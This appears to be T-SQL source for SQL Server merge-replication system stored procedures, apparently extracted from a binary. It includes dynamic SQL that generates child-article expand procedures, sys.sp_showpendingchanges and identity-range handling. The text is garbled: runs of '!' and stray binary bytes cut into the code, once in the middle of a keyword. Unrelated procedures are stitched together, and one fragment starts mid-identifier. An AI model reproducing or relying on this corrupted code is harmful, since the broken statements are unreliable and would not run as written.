    select @rgcol = quotename(name) from sys.columns where object_id = @objid and is_rowguidcol = 1
    
    select  @table_name = quotename(object_name(@objid)), 
            @owner_qualified_table_name = quotename(SCHEMA_NAME(schema_id)) + '.' + quotename(object_name(@objid))
    from sys.objects
    where object_id = @objid

    select @gen_change_threshold = min(isnull(generation_leveling_threshold,0)) from dbo.sysmergepublications
        where pubid in (select pubid from dbo.sysmergearticles where nickname = @tablenick)
    select @command1 = '
create procedure dbo.' + quotename(@procname) + ' (@marker uniqueidentifier, @inherit_pastchanges_generation bigint, @parent_being_updated bit = 0, @trigger_type int = 1) as '

    insert into #tmpproccmd (phase, cmdtext) values (1, @command1)

    declare immediate_children CURSOR LOCAL FAST_FORWARD FOR 
    select distinct quotename(object_name(sma.objid)), sma.objid, sma.nickname, 'dbo.' + quotename(object_name(sma.partition_view_id)), 
                    ssf.join_filterid, ssf.join_filterclause, ssf.join_unique_key, sma.expand_proc, sma.pubid, sma.column_tracking
    from dbo.sysmergesubsetfilters ssf, dbo.sysmergepartitioninfoview sma where ssf.join_nickname = @tablenick
    and sma.nickname = ssf.art_nickname
    and sma.pubid = ssf.pubid
    and (ssf.filter_type & 1) = 1
    and sma.partition_view_id is not null
    for read only

    open immediate_children

    fetch next from immediate_children into @immediate_child_table_name, @immediate_child_objid, @immediate_child_nickname, 
                    @immediate_child_partition_viewname, @join_filter_id, @join_filterclause, @join_unique_key, @child_expand_proc, @pubid, @child_has_col_tracking

    if (@@fetch_status <> -1)
    begin
        exec @retcode= sys.sp_MSgetreplnick @replnick = @replnick out
        if @retcode <> 0
        	return 1
        	
        select @command3 = '
    declare @child_marker uniqueidentifier
    declare @child_rowcount int, @child_newgen bigint, @child_oldmaxversion int, @child_metadatarows_updated int, @cv varbinary(1), @replnick binary(6)
    declare @lineage varbinary(311)    
    declare @retcode int
    declare @dt datetime
    declare @nickbin varbinary(8)
    declare @reason bit

    
    select @replnick = ' + sys.fn_varbintohexstr(@replnick) + ' 

    select @nickbin = @replnick + 0xFF
    
    set @child_marker = newid()

    select @dt = getdate()
        '
        insert into #tmpproccmd (phase, cmdtext) values(14, @command3)
    end

    while (@@fetch_status <> -1)
    begin
        --exec @retcode = sys.sp_MSis_joinfilter_based_on_PK_UQ_constraints @pubid = @pubid,
        --                                                            @join_filter_id = @join_filter_id,
        --                                                            @dri_based = @child_cannot_pre_exist output,
		--															  @unique_constraint_based = @parent_columns_unique output
                                                                    
        --if @@error <> 0 or @retcode <> 0
        --    goto FAILURE
            
        --if @child_cannot_pre_exist = 1
        --begin
            --select @command3 = '
    --if @parent_being_updated = 1
    --begin '
        
    --        insert into #tmpproccmd (phase, cmdtext) values(14, @command3)
    --    end
        
        select @owner_qualified_immediate_child_table_name = 
            quotename(SCHEMA_NAME(schema_id)) + '.' + quotename(object_name(object_id))
        from sys.objects with (nolock) where object_id = @immediate_child_objid
        
        select top 1 @publication_number = publication_number from dbo.sysmergepublications where pubid = @pubid

        select  top 1 @child_join_colname = name from sys.columns where object_id = @immediate_child_objid
        and sys.fn_MSisfilteredcolumn(@join_filterclause, name, @immediate_child_objid) = 1 

        select @child_rgcol = quotename(name) from sys.columns where object_id = @immediate_child_objid and is_rowguidcol = 1

        if @join_unique_key = 0 or @parent_columns_unique = 0
        begin
            select @command3 = '
        select @child_rowcount = count(*) from ' + 
        @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + '  with (rowlock)
        where ' + @child_rgcol + ' in 
        (select ' + @immediate_child_table_name + '.' + @child_rgcol + ' 
        from
        dbo.MSmerge_contents with (rowlock), ' 
        + @owner_qualified_table_name + ' ' + @table_name + ' with (rowlock), ' 
        + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ' with (rowlock) 
        where dbo.MSmerge_contents.marker = @marker
        and dbo.MSmerge_contents.tablenick = ' + convert(nvarchar, @tablenick) + ' 
        and dbo.MSmerge_contents.rowguid = ' + @table_name + '.' + @rgcol + ' 
        and (' + @join_filterclause +'))'
        end
        else
        begin
            select @command3 = '
        select @child_rowcount = count(*) from 
        dbo.MSmerge_contents with (rowlock), ' 
        + @owner_qualified_table_name + ' ' + @table_name + ' with (rowlock), ' 
        + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ' with (rowlock) 
        where dbo.MSmerge_contents.marker = @marker
        and dbo.MSmerge_contents.tablenick = ' + convert(nvarchar, @tablenick) + ' 
        and dbo.MSmerge_contents.rowguid = ' + @table_name + '.' + @rgcol + ' 
        and (' + @join_filterclause + ') ' 
        end

        insert into #tmpproccmd (phase, cmdtext) values(14, @command3)
                        
        -- touch the immediate children of deleted rows
        select @command3 = '
        if @child_rowcount > 0
        begin
            select @child_oldmaxversion= maxversion_at_cleanup from dbo.sysmergearticles
            where nickname = ' + convert(nvarchar, @immediate_child_nickname) + '

            -- the code below will get an open generation for the child article
            select @child_newgen = NULL
            select top 1 @child_newgen = generation from dbo.MSmerge_genhistory with (rowlock, updlock, readpast) 
                where art_nick = ' + convert(nvarchar,@immediate_child_nickname) + ' 
                    and genstatus = 0'
    !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
9pV-vh    if @gen_change_threshold > 0
            select @command3 = @command3 + '
                    and changecount <= (' + convert(nvarchar, @gen_change_threshold) + '- isnull(@child_rowcount,0))'
        select @command3 = @command3 + '                    
            if @child_newgen is NULL
            begin
                insert into dbo.MSmerge_genhistory with (rowlock)
                    (guidsrc, genstatus, art_nick, nicknames, coldate, changecount)
                       values (newid(), 0, ' + convert(nvarchar,@immediate_child_nickname) + ', @nickbin, @dt, @child_rowcount)
                select @child_newgen = @@identity    
            end'
        if @gen_change_threshold > 0
            select @command3 = @command3 + '                    
            else
            begin
                -- do the update right away to change the changecount to include the rows that we just put in the generation
                update dbo.MSmerge_genhistory with (rowlock)
                    set changecount = changecount + @child_rowcount
                    where generation = @child_newgen 
            end
'
        insert into #tmpproccmd (phase, cmdtext) values(14, @command3)
        
        select @command3 = '
        if @retcode <> 0
            return @retcode '
            
        insert into #tmpproccmd (phase, cmdtext) values(14, @command3)
                
        if @join_unique_key = 0 or @parent_columns_unique = 0
        begin
            select @command3 = '            
            update MSmerge_contents1 with (rowlock) set generation = @child_newgen, partchangegen = @child_newgen, marker = @child_marker,
            lineage = case when @trigger_type = 0 then lineage else { fn UPDATELINEAGE(MSmerge_contents1.lineage, @replnick, @child_oldmaxversion+1) } end
            from dbo.MSmerge_contents MSmerge_contents1  with (rowlock)
            where MSmerge_contents1.tablenick = ' + convert (nvarchar, @immediate_child_nickname) + ' 
            and MSmerge_contents1.rowguid in 
                (select ' + @immediate_child_table_name + '.' + @child_rgcol + ' 
                from
                dbo.MSmerge_contents MSmerge_contents2 with (rowlock), ' 
                + @owner_qualified_table_name + ' ' + @table_name + ' with (rowlock), ' 
                + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ' with (rowlock) 
                where MSmerge_contents2.marker = @marker
                and MSmerge_contents2.tablenick = ' + convert(nvarchar, @tablenick) + ' 
                and MSmerge_contents2.rowguid = ' + @table_name + '.' + @rgcol + ' 
                and (' + @join_filterclause + '))
                
                select @child_metadatarows_updated = @@rowcount'
        end
        else
        begin
            select @command3 = '
            update MSmerge_contents1 set generation = @child_newgen, partchangegen = @child_newgen, marker = @child_marker,
            lineage = case when @trigger_type = 0 then lineage else { fn UPDATELINEAGE(MSmerge_contents1.lineage, @replnick, @child_oldmaxversion+1) } end
            from 
            dbo.MSmerge_contents MSmerge_contents2 with (rowlock), ' 
            + @owner_qualified_table_name + ' ' + @table_name + ' with (rowlock), '
            + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ' with (rowlock), 
            dbo.MSmerge_contents MSmerge_contents1  with (rowlock) 
            where MSmerge_contents1.tablenick = ' + convert (nvarchar, @immediate_child_nickname) + ' 
            and MSmerge_contents1.rowguid = ' + @immediate_child_table_name + '.' + @child_rgcol + '          
            and MSmerge_contents2.marker = @marker
            and MSmerge_contents2.tablenick = ' + convert(nvarchar, @tablenick) + ' 
            and MSmerge_contents2.rowguid = ' + @table_name + '.' + @rgcol + ' 
            and (' + @join_filterclause + ')
            
            select @child_metadatarows_updated = @@rowcount'            
        end

        insert into #tmpproccmd (phase, cmdtext) values(14, @command3)
                
        select @command3 = '
            if @child_metadatarows_updated < @child_rowcount '
        insert into #tmpproccmd (phase, cmdtext) values(14, @command3)

        set @command3 = '
            begin
                set @lineage = case when @trigger_type = 0 then 0x0 else { fn UPDATELINEAGE(0x0, @replnick, @child_oldmaxversion+1) } end '

        insert into #tmpproccmd (phase, cmdtext) values(14, @command3)

        if @child_has_col_tracking = 1
            set @command3 =  '
                set @cv = 0xFF '
        else 
            set @command3 = ' 
                set @cv = NULL '
            
        set @command3 = @command3 + '
                insert into dbo.MSmerge_contents  with (rowlock) 
                    (tablenick, rowguid, generation, partchangegen, lineage, colv1, marker) 
            '
        insert into #tmpproccmd (phase, cmdtext) values(14, @command3)

        if @join_unique_key = 0 or @parent_columns_unique = 0
        begin
            set @command3 = '
                select ' + convert(nvarchar, @immediate_child_nickname) + ', ' + @immediate_child_table_name + '.' + @child_rgcol + ', @child_newgen, @child_newgen, @lineage, @cv, @child_marker
                from ' 
                + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + '  with (rowlock)
                where ' + @child_rgcol + ' in 
                    (
                        select ' + @immediate_child_table_name + '.' + @child_rgcol + '
                        from dbo.MSmerge_contents MSmerge_contents2 with (rowlock), 
                        ' + @owner_qualified_table_name + ' ' + @table_name + ' with (rowlock), 
                        ' + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ' with (rowlock)
                        where MSmerge_contents2.marker = @marker
                        and MSmerge_contents2.tablenick = ' + convert(nvarchar, @tablenick) + ' 
                        and MSmerge_contents2.rowguid = ' + @table_name + '.' + @rgcol + ' 
                        and (' + @join_filterclause + ')
                    )
                and not exists 
                    (select * from dbo.MSmerge_contents with (rowlock)
                        where tablenick = ' + convert(nvarchar, @immediate_child_nickname) +' 
                        and rowguid = ' + @immediate_child_table_name + '.' + @child_rgcol + '
                    ) '
        end
        else
        begin
            set @command3 = '
                select ' + convert(nvarchar, @immediate_child_nickname) + ', ' + @immediate_child_table_name +'.' + @child_rgcol + ', @child_newgen, @child_newgen, @lineage, @cv, @child_marker
                from 
                dbo.MSmerge_contents MSmerge_contents2 with (rowlock), ' 
                + @owner_qualified_table_name + ' ' + @table_name + ' with (rowlock), '
                + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ' with (rowlock)
                where  MSmerge_contents2.marker = @marker
                and MSmerge_contents2.tablenick = ' + convert(nvarchar, @tablenick) + ' 
                and MSmerge_contents2.rowguid = ' + @table_name + '.' + @rgcol + ' 
                and (' + @join_filterclause + ')
                and not exists (select * from dbo.MSmerge_contents with (rowlock)
                    where tablenick = ' + convert(nvarchar, @immediate_child_nickname) + ' 
                    and rowguid = ' + @immediate_child_table_name + '.' + @child_rgcol + ') '
        end

        insert into #tmpproccmd (phase, cmdtext) values(14, @command3)
        
        select @command3 = '
            end    '
        insert into #tmpproccmd (phase, cmdtext) valu!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<
9 xhes(14, @command3)
        
        select @command3 = '
            if @trigger_type <> 0
            begin
                delete dbo.MSmerge_current_partition_mappings with (rowlock) from 
                dbo.MSmerge_contents mc with (rowlock)
                join dbo.MSmerge_current_partition_mappings with (rowlock)
                on dbo.MSmerge_current_partition_mappings.tablenick = mc.tablenick
                and mc.tablenick = ' + convert(nvarchar(11), @immediate_child_nickname) + '
                and dbo.MSmerge_current_partition_mappings.tablenick = ' + convert(nvarchar(11), @immediate_child_nickname) + '
                and dbo.MSmerge_current_partition_mappings.rowguid = mc.rowguid
                and dbo.MSmerge_current_partition_mappings.publication_number = ' + convert(nvarchar, @publication_number) + '
                and mc.marker = @child_marker 
            end '
        insert into #tmpproccmd (phase, cmdtext) values(14, @command3)
        
        select @command3 = '
            if @trigger_type <> 0
            begin
                insert into dbo.MSmerge_current_partition_mappings with (rowlock) (publication_number, tablenick, rowguid, partition_id)
                select distinct ' + convert(nvarchar, @publication_number) + ', mc.tablenick, mc.rowguid, v.partition_id
                from dbo.MSmerge_contents mc with (rowlock) 
                JOIN ' + @immediate_child_partition_viewname + ' v with (rowlock) 
                ON mc.tablenick = ' + convert(nvarchar(11), @immediate_child_nickname) + '
                and mc.rowguid = v.' + @child_rgcol + '
                and mc.marker = @child_marker 
            end 
            else
            begin
                insert into dbo.MSmerge_current_partition_mappings with (rowlock) (publication_number, tablenick, rowguid, partition_id)
                select distinct ' + convert(nvarchar, @publication_number) + ', mc.tablenick, mc.rowguid, v.partition_id
                from dbo.MSmerge_contents mc with (rowlock) 
                JOIN ' + @immediate_child_partition_viewname + ' v with (rowlock) 
                ON mc.tablenick = ' + convert(nvarchar(11), @immediate_child_nickname) + '
                and mc.rowguid = v.' + @child_rgcol + '
                and mc.marker = @child_marker 
                and v.partition_id in (select partition_id from dbo.MSmerge_current_partition_mappings cpm with (rowlock) JOIN
                	dbo.MSmerge_contents mc2 with (rowlock)
                    ON cpm.rowguid = mc2.rowguid
                    and mc2.marker = @marker)
                where not exists (select * from MSmerge_current_partition_mappings with (readcommitted, rowlock, readpast) where 
                    publication_number = ' + convert(nvarchar, @publication_number) + ' and 
                    tablenick = ' + convert(nvarchar(11), @immediate_child_nickname) + ' and
                    rowguid = v.' + @child_rgcol + ' and
                    partition_id = v.partition_id)
            end '

        insert into #tmpproccmd (phase, cmdtext) values(14, @command3)
        
        select @command3 = '
            if @inherit_pastchanges_generation <> -1
            begin
            	if @parent_being_updated = 1
            		set @reason = 0
            	else
            		set @reason = 1 /* expanding for delete. */
            		
                insert into dbo.MSmerge_past_partition_mappings  with (rowlock) (publication_number, tablenick, rowguid, partition_id, generation,reason)
                select distinct ' + convert(nvarchar, @publication_number) + ', ' + convert (nvarchar, @immediate_child_nickname) + ', ' + @immediate_child_table_name + '.' + @child_rgcol + ',  
                        mpcpm.partition_id, @child_newgen, @reason 
                from 
                dbo.MSmerge_contents mc with (rowlock) , 
                dbo.MSmerge_past_partition_mappings mpcpm with (rowlock) , ' 
                + @owner_qualified_table_name + ' ' + @table_name + ' with (rowlock) , ' 
                + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name +'  with (rowlock) 
                where mc.marker = @marker
                and mc.tablenick = ' + convert(nvarchar, @tablenick) + '
                and mc.rowguid = ' + @table_name + '.' + @rgcol + '
                and mpcpm.publication_number = ' + convert(nvarchar, @publication_number) + '
                and mpcpm.generation = @inherit_pastchanges_generation
                and mc.tablenick = mpcpm.tablenick
                and mpcpm.tablenick = ' + convert(nvarchar, @tablenick) + '
                and mc.rowguid = mpcpm.rowguid
                and (' + @join_filterclause + ')                
            end '

        insert into #tmpproccmd (phase, cmdtext) values(14, @command3)
        
        if @child_expand_proc is not null and @child_expand_proc != ' '
        begin
            set @command3 = '
        exec dbo.' + quotename(@child_expand_proc) + ' @marker = @child_marker, @inherit_pastchanges_generation = @child_newgen, @parent_being_updated = 1, @trigger_type = @trigger_type '
            -- use parent_being_updated = 1 even if the originating parent was being inserted or deleted. this value
            -- simply indicates that the current parent row was found, and we are updating its metadata.
            insert into #tmpproccmd (phase, cmdtext) values(14, @command3)
        end

        select @command3 = '
    end    '
        insert into #tmpproccmd (phase, cmdtext) values(14, @command3)
        
        --if @child_cannot_pre_exist = 1
        --begin
        --    select @command3 = '
    --end '
        
    --        insert into #tmpproccmd (phase, cmdtext) values(14, @command3)
    --    end

        fetch next from immediate_children into @immediate_child_table_name, @immediate_child_objid, @immediate_child_nickname, 
            @immediate_child_partition_viewname, @join_filter_id, @join_filterclause, @join_unique_key, @child_expand_proc, @pubid, @child_has_col_tracking
    end

    close immediate_children
    deallocate immediate_children

    select cmdtext from #tmpproccmd where cmdtext is not null order by phase, step
    drop table #tmpproccmd
    
    return 0
    
FAILURE:
    
    close immediate_children
    deallocate immediate_children

    drop table #tmpproccmd
    
    return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
~:v4Ncreate procedure sys.sp_showpendingchanges
            @destination_server sysname = NULL,
            @publication         sysname = NULL,
            @article             sysname = NULL,
            @show_rows	    int     = 0 -- by default don't show rowguids.
as
    declare @current_destination_server sysname
    declare @destination_db_name         sysname
    declare @is_dest_subscriber         bit
    declare @pub_name                     sysname
    declare @pubid                         uniqueidentifier
    declare @sentgen                     bigint
    declare @partition_id                 int
    declare @article_name                 sysname
    declare @tablenick                     int
    declare @replnickname                 binary(6)
    declare @use_partition_groups         smallint

    declare @pending_deletes             int
    declare @pending_partition_deletes   int
    declare @pending_ins_and_upd         int
    declare @retcode                    int

    -- Security Check
    exec @retcode= sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0 return (1)

    declare @result_table TABLE (
        destination_server         sysname, 
        pub_name                 sysname, 
        destination_db_name     sysname,
        is_dest_subscriber         bit, 
        article_name             sysname,
        pending_deletes         int, 
        pending_ins_and_upd     int,
        is_delete				int,
        rowguid					uniqueidentifier)


    declare #serv_pub_art cursor local fast_forward for
        select
        sms.subscriber_server,
        smp.name,
        sms.db_name,
        sys.fn_MSmerge_islocalpubid(smp.pubid),
        sma.name,
        sma.nickname,
        smp.use_partition_groups,
        sms.sentgen,
        sms.replnickname,
        sms.partition_id
        from
        (sysmergepublications smp with (nolock)
        JOIN sysmergearticles sma with (nolock)
        ON smp.pubid = sma.pubid)
        JOIN sysmergesubscriptions sms with (nolock)
        ON smp.pubid = sms.pubid and db_name() <> sms.db_name
        order by sms.subscriber_server, smp.name, sma.name asc

    open #serv_pub_art
    fetch #serv_pub_art into
        @current_destination_server,
        @pub_name,
        @destination_db_name,
        @is_dest_subscriber,
        @article_name,
        @tablenick,
        @use_partition_groups,
        @sentgen,
        @replnickname,
        @partition_id

    while (@@fetch_status != -1)
    begin

		select @pending_deletes = 0
		select @pending_ins_and_upd = 0

        if    (@destination_server IS NULL or @destination_server = @current_destination_server) and
            (@publication IS NULL or @publication = @pub_name) and 
            (@article IS NULL or @article = @article_name)
        begin
            if @use_partition_groups = 1 and @partition_id IS NOT NULL
            begin
                /* Calculate pending deletes based on water marks */
                select @pending_deletes = count(*) from 
                (MSmerge_genhistory gh with (nolock)
                JOIN MSmerge_tombstone ts with (nolock)
                ON gh.generation = ts.generation)
                    JOIN MSmerge_past_partition_mappings ppm with (nolock)
                    ON ts.rowguid = ppm.rowguid and ts.generation = ppm.generation
                where    gh.art_nick = @tablenick and 
                        gh.generation > @sentgen and
                        ppm.partition_id = @partition_id  and
                        sys.fn_MSmerge_nicknamefound(gh.nicknames,@replnickname) = 0

                /* Calculate pending partitiondeletes based on water marks */
                select @pending_partition_deletes = count(*) from 
                MSmerge_genhistory gh with (nolock)
                JOIN MSmerge_past_partition_mappings ppm with (nolock)
                    ON gh.generation = ppm.generation
                    LEFT OUTER JOIN MSmerge_tombstone ts with (nolock)
                    ON ts.rowguid = ppm.rowguid
                where    gh.art_nick = @tablenick and 
                        gh.generation > @sentgen and
                        ts.rowguid is null and
                        ppm.partition_id = @partition_id and
                        sys.fn_MSmerge_nicknamefound(gh.nicknames,@replnickname) = 0
                        
				select @pending_deletes = @pending_deletes + @pending_partition_deletes

				if @show_rows = 1
				begin
					insert into 
					@result_table(destination_server,pub_name, destination_db_name, is_dest_subscriber,article_name, pending_deletes, pending_ins_and_upd, is_delete, rowguid)
					select @current_destination_server, @pub_name, @destination_db_name, @is_dest_subscriber, @article_name, 0, 0, 1,
						ts.rowguid from 
						(MSmerge_genhistory gh with (nolock)
						JOIN MSmerge_tombstone ts with (nolock)
						ON gh.generation = ts.generation)
							JOIN MSmerge_past_partition_mappings ppm with (nolock)
							ON ts.rowguid = ppm.rowguid and ts.generation = ppm.generation
						where    gh.art_nick = @tablenick and 
								gh.generation > @sentgen and
								ppm.partition_id = @partition_id and
		                        sys.fn_MSmerge_nicknamefound(gh.nicknames,@replnickname) = 0
		                    


					insert into 
					@result_table(destination_server,pub_name, destination_db_name, is_dest_subscriber,article_name, pending_deletes, pending_ins_and_upd, is_delete, rowguid)
					select @current_destination_server, @pub_name, @destination_db_name, @is_dest_subscriber, @article_name, 0, 0, 1,
						ppm.rowguid from 
						MSmerge_genhistory gh with (nolock)
						JOIN MSmerge_past_partition_mappings ppm with (nolock)
							ON gh.generation = ppm.generation
							LEFT OUTER JOIN MSmerge_tombstone ts with (nolock)
							ON ts.rowguid = ppm.rowguid
							where gh.art_nick = @tablenick and 
								gh.generation > @sentgen and
								ts.rowguid is null and
								ppm.partition_id = @partition_id and
		                        sys.fn_MSmerge_nicknamefound(gh.nicknames,@replnickname) = 0

				end

                /* Calculate pending updates and inserts based on water marks */
                select @pending_ins_and_upd = count(*) from 
                (MSmerge_genhistory gh with (nolock)
                JOIN MSmerge_contents mc with (nolock)
                ON gh.generation = mc.generation)
                    JOIN MSmerge_current_partition_mappings cpm with (nolock)
                    ON mc.rowguid = cpm.rowguid
                where    gh.art_nick = @tablenick and 
                        gh.generation > @sentgen and
                        cpm.partition_id = @partition_id and
                        sys.fn_MSmerge_nicknamefound(gh.nicknames,@replnickname) = 0

				if @show_rows = 1
				begin

					insert into 
					@result_table(destination_server,pub_name, destination_db_name, is_dest_subscriber,article_name, pending_deletes, pending_ins_and_upd, is_delete, rowguid)
					select @current_destination_server, @pub_name, @destination_db_name, @is_dest_subscriber, @article_name, 0,0,0,
						mc.rowguid from 
						(MSmerge_genhistory gh with (nolock)
						JOIN MSmerge_contents mc with (nolock)
						ON gh.generation = mc.generation)
							JOIN MSmerge_current_partition_mappings cpm with (nolock)
							ON mc.rowguid = cpm.rowguid
						where    gh.art_nick = @tablenick and 
								gh.generation > @sentgen and
								cpm.partition_id = @partition_id and
		                        sys.fn_MSmerge_nicknamefound(gh.nicknames,@replnickname) = 0
				end
                        
            end
            else
            begin

                /* Calculate pending deletes based on water marks */
                select @pending_deletes = count(*) from 
                MSmerge_genhistory gh with (nolock) 
               !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<
Z<
?
4N JOIN MSmerge_tombstone ts with (nolock)
                ON gh.generation = ts.generation
                where    gh.art_nick = @tablenick and 
                        gh.generation > @sentgen and
                        sys.fn_MSmerge_nicknamefound(gh.nicknames,@replnickname) = 0

				if @show_rows = 1
				begin
					insert into 
					@result_table(destination_server,pub_name, destination_db_name, is_dest_subscriber,article_name, pending_deletes, pending_ins_and_upd, is_delete, rowguid)
					select @current_destination_server, @pub_name, @destination_db_name, @is_dest_subscriber, @article_name, 0, 0,1, 
						ts.rowguid from 
						MSmerge_genhistory gh with (nolock) 
						JOIN MSmerge_tombstone ts with (nolock)
						ON gh.generation = ts.generation
						where    gh.art_nick = @tablenick and 
								gh.generation > @sentgen and
								sys.fn_MSmerge_nicknamefound(gh.nicknames,@replnickname) = 0
				end

                /* Calculate pending updates and inserts based on water marks */
                select @pending_ins_and_upd = count(*) from 
                MSmerge_genhistory gh with (nolock)
                JOIN MSmerge_contents mc with (nolock)
                ON gh.generation = mc.generation
                where    gh.art_nick = @tablenick and 
                        gh.generation > @sentgen and
                        sys.fn_MSmerge_nicknamefound(gh.nicknames,@replnickname) = 0


				if @show_rows = 1
				begin
					insert into 
					@result_table(destination_server,pub_name, destination_db_name, is_dest_subscriber,article_name, pending_deletes, pending_ins_and_upd, is_delete, rowguid)
					select @current_destination_server, @pub_name, @destination_db_name, @is_dest_subscriber, @article_name, 0, 0, 0,
						mc.rowguid from 
						MSmerge_genhistory gh with (nolock)
						JOIN MSmerge_contents mc with (nolock)
						ON gh.generation = mc.generation
						where    gh.art_nick = @tablenick and 
								gh.generation > @sentgen and
		                        sys.fn_MSmerge_nicknamefound(gh.nicknames,@replnickname) = 0
				end
				
            end

			if @show_rows = 0
			begin                        
	            insert into 
	            @result_table(destination_server,pub_name, destination_db_name, is_dest_subscriber,article_name, pending_deletes, pending_ins_and_upd)
	            values (@current_destination_server, @pub_name, @destination_db_name, @is_dest_subscriber, @article_name, @pending_deletes, @pending_ins_and_upd)
	        end
        end
        fetch #serv_pub_art into
            @current_destination_server,
            @pub_name,
            @destination_db_name,
            @is_dest_subscriber,
            @article_name,
            @tablenick,
            @use_partition_groups,
            @sentgen,
            @replnickname,
            @partition_id
    end
    close #serv_pub_art   
    deallocate #serv_pub_art

	if @show_rows = 1
	    select destination_server,pub_name, destination_db_name, is_dest_subscriber,article_name, is_delete, rowguid from @result_table order by destination_server, pub_name, destination_db_name, article_name asc
	else
	    select destination_server,pub_name, destination_db_name, is_dest_subscriber,article_name, pending_deletes, pending_ins_and_upd from @result_table order by destination_server, pub_name, destination_db_name, article_name asc

    return 0
?S&?Sge_begin = @range_end
            select @next_range_end = @next_range_begin + @identity_range -- in yukon use sub range for publisher's local allocation
        end

        if ((@ident_increment > 0) and (@next_range_end > @max_range)) or
           ((@ident_increment < 0) and (@next_range_end < @max_range))
        begin
            raiserror(20664, 16, -1)
            goto FAILURE
        end
        
        -- update the max_used for the publisher's identity range
        update dbo.MSmerge_identity_range set max_used = @next_range_end where subid=@pubid and artid=@artid and is_pub_range=1
        if @@error <> 0
        begin
            raiserror(21197, 16, -1)
            goto FAILURE
        end

        -- call the stored procedure to reseed the table and also create the identity range check constraint
        exec @retcode = sys.sp_MSrefresh_idrange_check_constraint 
                                @qualified_table_name,
                                @artid,
                                @range_begin,
                                @range_end,
                                @next_range_begin,
                                @next_range_end,
                                @ranges_to_be_reset
        if @@ERROR<>0 or @retcode<>0
        begin
            raiserror(21197, 16, -1)
            goto FAILURE
        end

        update dbo.MSmerge_identity_range 
            set range_begin = @range_begin,
                range_end = @range_end,
                next_range_begin = @next_range_begin,
                next_range_end = @next_range_end
            where subid=@pubid and artid=@artid and is_pub_range=0
        if @@ERROR<>0 
        begin
            raiserror(21197, 16, -1)
            goto FAILURE
        end

        -- commit identity range transaction
        commit tran

        -- set the values about the current allocation on the distributor.
        if @ranges_to_be_reset > 0
        begin
            exec @retcode = sys.sp_MSmerge_log_idrange_alloc_on_distributor    
                                @pubid,
                                @artid, 
                                0, -- is_pub_range publisher's local allocation is always a sub range
                                @ranges_to_be_reset,
                                @range_begin,
                                @range_end,
                                @next_range_begin,
                                @next_range_end
        end

NEXT_ARTICLE:
        fetch next from one_article into @artid
    end
end
else
begin
    raiserror(21295, 16, -1, @publication)
    return (1)
end

return 0

FAILURE:
    if @@trancount > 0
    begin
        rollback tran sp_MSadjustpubidentity
        commit tran
    end
    return 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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ys.sp_MSdrop_rladmin
as
    if object_id('sp_MSaddmergepub_snapshot', 'P') is not NULL
        drop procedure sys.sp_MSaddmergepub_snapshot

    if object_id('sp_MSrepl_helptext', 'P') is not NULL
        drop procedure sys.sp_MSrepl_helptext

    if object_id('sp_MSremove_userscript', 'P') is not NULL
        drop procedure sys.sp_MSremove_userscript

    if object_id('sp_MSretrieve_mergepublication', 'P') is not NULL
        drop procedure sys.sp_MSretrieve_mergepublication

    if object_id('sp_MSadjustmergeidentity', 'P') is not NULL
        drop procedure sys.sp_MSadjustmergeidentity

    if object_id('sp_MScheckatpublisher', 'P') is not NULL
